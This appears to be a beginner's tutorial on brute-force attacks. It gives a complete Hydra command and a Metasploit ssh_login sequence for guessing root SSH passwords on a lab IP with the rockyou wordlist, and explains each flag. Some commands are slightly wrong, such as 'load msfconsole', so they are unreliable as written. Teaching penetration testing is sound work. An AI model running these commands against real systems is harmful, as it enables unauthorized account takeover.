🧱Brute Force Attacks

Understanding Brute Force Attacks: A Beginner's Guide

Brute force attacks are a common method employed by hackers to gain unauthorized access to systems, applications, or networks. These attacks involve systematically trying every possible password or passphrase until the correct one is discovered. Below is a beginner's guide to understanding and safeguarding against brute force attacks.

How Brute Force Attacks Work

1. Iterative Password Guessing:

   • Attackers systematically try every possible combination of passwords until the correct one is found.

   • This process is time-consuming but can be effective if the target's password is weak or easily guessable.

2. Targeted Systems:

   • Brute force attacks often target authentication mechanisms, such as login pages, SSH (Secure Shell) connections, or other entry points with password protection.

3. Automated Tools:

   • Hackers use automated tools like Hydra and Metasploit to streamline and accelerate the brute force process.

   • These tools can test thousands of passwords per minute against a target system

   

Hydra - Brute Force with SSH Example

Using Hydra: Hydra is a versatile tool frequently used for brute force attacks. Here's an example of using Hydra for an SSH brute force attack:

hydra -l root -P /usr/share/wordlist/rockyou.txt ssh://192.168.179.129 -t 4 -V

• -l root: Specifies the username to be tested (root in this case).

• -P /usr/share/wordlist/rockyou.txt: Specifies the path to the password list (rockyou.txt is a common password list).

• ssh://192.168.179.129: Specifies the target SSH server.

• -t 4: Sets the number of parallel tasks to 4.

• -V: Enables verbose mode to provide detailed output.

Metasploit - Brute Force with SSH Example

Using Metasploit: Metasploit, a popular penetration testing framework, includes modules for various security tasks, including brute force attacks:

load msfconsole
search ssh
use scanner/ssh/ssh_login
set USERNAME root
set PASS_FILE /usr/share/wordlist/rockyou.txt
set RHOST 192.168.179.129
set THREADS 4
run

• load msfconsole: Opens the Metasploit console.

• search ssh: Searches for available SSH-related modules.

• use scanner/ssh/ssh_login: Selects the SSH login scanner module.

• set USERNAME root: Sets the target username.

• set PASS_FILE /usr/share/wordlist/rockyou.txt: Sets the path to the password list.

• set RHOST 192.168.179.129: Sets the target host.

• set THREADS 4: Sets the number of threads.

• run: Executes the brute force attack.